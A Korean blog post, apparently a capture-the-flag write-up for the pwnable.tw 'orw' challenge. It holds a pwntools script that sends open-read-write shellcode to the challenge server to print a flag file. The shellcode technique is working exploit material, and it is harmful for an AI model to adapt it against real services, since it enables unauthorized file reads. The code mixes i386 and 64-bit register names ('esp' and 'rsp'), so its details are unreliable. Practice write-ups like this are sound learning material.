Pwnable/Pwnable.tw
pwnable.tw orw
HSr00t
2017. 5. 31. 02:55
context로 운영체제와 BIT 정함 (64bit = amd64)
pushstr로 열려고하는 파일 이름을 esp(스택)에 push함
open(esp,0,0) 파일을 열음
read로 파일을 읽어옴
write로 읽어온 내용을 출력함
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pwn import * p=remote("chall.pwnable.tw",10001) context(arch="i386",os="linux") print p.recvuntil('shellcode:') payload=shellcraft.pushstr("/home/orw/flag") payload+=shellcraft.open("esp",0,0) payload+=shellcraft.read('eax','esp',100) payload+=shellcraft.write(1,'rsp',100) p.sendline(asm(payload)) print p.recv(1024) | cs |